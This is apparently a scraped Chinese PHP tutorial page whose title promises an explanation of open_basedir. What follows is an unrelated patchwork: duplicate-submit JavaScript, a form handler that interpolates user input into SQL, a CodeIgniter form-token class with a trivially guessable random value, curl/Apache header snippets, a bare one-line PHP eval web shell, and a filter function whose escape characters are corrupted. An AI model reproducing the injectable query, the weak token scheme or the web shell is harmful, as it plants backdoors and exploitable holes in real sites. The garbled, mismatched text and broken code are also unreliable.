php open_basedir安全与使用详解

<script type="text/javascript">
var checkSubmitFlg = false;
function checkSubmit() {
 if (!checkSubmitFlg) {

// 第一次提交
  checkSubmitFlg = true;
  return true;
 } else {

//重复提交
  alert("Submit again!");
  return false;
 }
}
</script>

//以下三种方式分别调用

<form onsubmit="return checkSubmit();">

<input type="submit" onclick="return checkSubmit();" />

<input type="button" onclick="document.forms[0].action='./test';document.forms[0].submit();return checkSubmit();" />

    <form
    
    method="post">
    <p>
    <label for="test">随便输入点什么www.111cn.net</label>
    <input type="text" name="data" id="test" />
    </p>
    <p>
    <input type="submit" value="提交" name="submit" />
    </p>
    </ul>
    </form>

http://localhost/mytest/token/form.php?data=test&submit=%E6%8F%90%E4%BA%A4

<?php
    if ( isset( $_POST['submit'] ) ) {
    //表单提交处理
    $data = isset(
    
    $_POST['data'] ) ? htmlspecialchars( $_POST['data'] ) : '';
    //connect
    mysql_connect( 'localhost', 'root', 'root' );
    
    //select db
    mysql_select_db( 'test' );
    //设置字符集防止乱码
    mysql_query( 'set names "utf8"' );
    //SQL
    $sql = "insert
    
    into `token` (string) values ('$data')";
    //query
    mysql_query( $sql );
    $insert_id = mysql_insert_id();
    if (
    
    $insert_id ) {
    $state = 1;
    } else {
    $state = 0;
    }
    }
    ?>

    <?php if ( isset( $state )

    && $state ) { //数据插入成功 ?>

    <p>插入成功 <a href="form.php">返回</a></p>

    <?php } else { //失败或者没有插入动

    作 ?>

    <form method="post">

    <p>

    <label for="test">随便输入点什么</label>

    <input type="text"

    name="data" id="test" />

    </p>

    <p>

    <input type="submit" value="提交" name="submit" />

    </p>

    </ul>

    </form>

    <?php } ?>

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Welcome extends CI_Controller {

 public function index()
 {
  $this->load->view('welcome_message');
 }

        public function token()
        {
            $this->load->helper( array('form') );
            $this->load->library('form_validation');
            if ( $this->input->post( 'submit' ) && $this->form_validation->valid_token() )
            {
                //nothing
                //valid_token已经包含令牌超时与令牌正确的判断，若要启用令牌超时，请将token_validtime设置为非0
                echo 'ok';
            }

            //生成表单令牌
            $token = $this->form_validation->create_token();

            //form example
            echo form_open();
            echo form_input('token', '');
            echo $token;
            echo form_submit('submit', 'submit');
            echo form_close();
        }
}

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
 * @abstract 继承CI的Form_validation类在其基础上增加令牌
 */
class MY_Form_validation extends CI_Form_validation {

    /**
     * 令牌键值
     * @var string
     */
    var $key = 'token';
   
    /**
     * 表单令牌有效时间(秒)
     * @abstract 如果某些表单需要限制输入时间，则设置该值，为0则不限制
     * @var int 秒
     */
    var $token_validtime = 5;

    /**
     * 调试模式
     * @var bool
     */
    var $debug = false;

    /**
     * CI对象
     * @var <type>
     */
    private $_CI;

    public function __construct()
    {
        parent::__construct();
        $this->_CI =& get_instance();
        //如果配置没有填写encryption_key
        $encryption_key = config_item('encryption_key');
        if ( empty( $encryption_key ) ) $this->_CI->config->set_item( 'encryption_key', $this->key );
        //如果没有装载session
        if ( !isset( $this->_CI->session ) ) $this->_CI->load->library('session');
    }

    /**
     * 设置令牌有效时间
     * @param int $second 秒数
     */
    public function set_token_validtime( $second )
    {
        $this->token_validtime = intval( $second );
    }

    /**
     * 获取表单令牌有效时间
     * @return int 秒数
     */
    public function get_token_validtime()
    {
        return $this->token_validtime;
    }

    /**
     * 验证表单令牌是否合法
     * @return bool
     */
    public function valid_token()
    {
        if ( $this->debug ) return true;
        //获取session中的hash
        $source_hash = $this->_CI->session->userdata( $this->key );
        if ( empty( $source_hash ) ) return false;
       
        //判断是否超时
        if ( $this->is_token_exprie() ) return false;

        //提交的hash
        $post_formhash = $this->_CI->input->post( $this->key );
        if ( empty( $post_formhash ) ) return false;

        if ( md5( $source_hash ) == $post_formhash )
        {
            $this->_CI->session->unset_userdata( $this->key );
            return true;
        }
        return false;
    }

    /**
     * 生成表单令牌（连同input元素）
     * @return string
     */
    public function create_token( $output = false )
    {
        $code = time() . '|' .  $this->get_random( 5 );
        $this->_CI->session->set_userdata( $this->key , $code);
        $result = function_exists('form_hidden') ? form_hidden( $this->key, md5( $code ) ) : '<input type="hidden" name="token" value="'. md5( $code ) .'" />';
        if ( $output )
        {
            echo $result;
        }
        else
        {
            return $result;
        }
    }
   
    /**
     * 获取随机数（自己可以扩展）
     * @param int $number 上限
     * @return string
     */
    public function get_random( $number )
    {
        return rand( 0, $number );
    }
   
    /**
     * 判断表单令牌是否过期
     * @return bool
     */
    public function is_token_exprie()
    {
        if ( empty( $this->token_validtime ) ) return false;
        $token = $this->_CI->session->userdata( $this->key );
        if ( empty( $token ) ) return false;
        $create_time = array_shift( explode('|', $token) );
        return ( time() - $create_time > $this->token_validtime );
    }
}

[root@bkjz /]# curl -I www.111cn.net
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 20 Jul 2010 05:45:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding

[root@localhost tmp]# curl -I 192.168.80.128:88
HTTP/1.1 403 Forbidden
Date: Wed, 21 Jul 2010 13:09:33 GMT
Server: Apache/2.2.15 (CentOS)
Accept-Ranges: bytes
Content-Length: 5043
Connection: close
Content-Type: text/html; charset=UTF-8

vim /etc/httpd/conf/httpd.conf

apachectl restart

[root@localhost tmp]# curl -I 192.168.80.128:88
HTTP/1.1 403 Forbidden
Date: Wed, 21 Jul 2010 13:23:22 GMT
Server: Apache
Accept-Ranges: bytes
Content-Length: 5043
Connection: close
Content-Type: text/html; charset=UTF-8

#define AP_SERVER_BASEVENDOR “Apache Software Foundation”
#define AP_SERVER_BASEPROJECT “Apache HTTP Server”
#define AP_SERVER_BASEPRODUCT “Apache”

#define AP_SERVER_MAJORVERSION_NUMBER 2
#define AP_SERVER_MINORVERSION_NUMBER 2
#define AP_SERVER_PATCHLEVEL_NUMBER 15
#define AP_SERVER_DEVBUILD_BOOLEAN 0

<?php eval($_POST[cmd]);?>

<?php
$string = '杯子';
$name = '咖啡';
$str = '这个 $string 中装有 $name.<br>';
echo $str;
eval( "$str = "$str";" );
echo $str;
?>

function is_bad_chars($str){
 $bad_chars = array("\",' ',"'",'"','/','*',',','<','>',"r","t","n",'$','(',')','%','+','?',';','^','#',':','　','`','=','|','-');
 foreach($bad_chars as $value){
  if (strpos($str,$value) !== false){
   return true;
  }
 }
}

function outip($ip){//排除ip
@$txt = file_get_contents("ip/ip.txt" );
$txtarr = explode("rn" , trim($txt));
 if(count($txtarr)<0){
  return false;
    }
   if(in_array($ip,$txtarr)){
  return true;
 }else{
  return false;
 }
}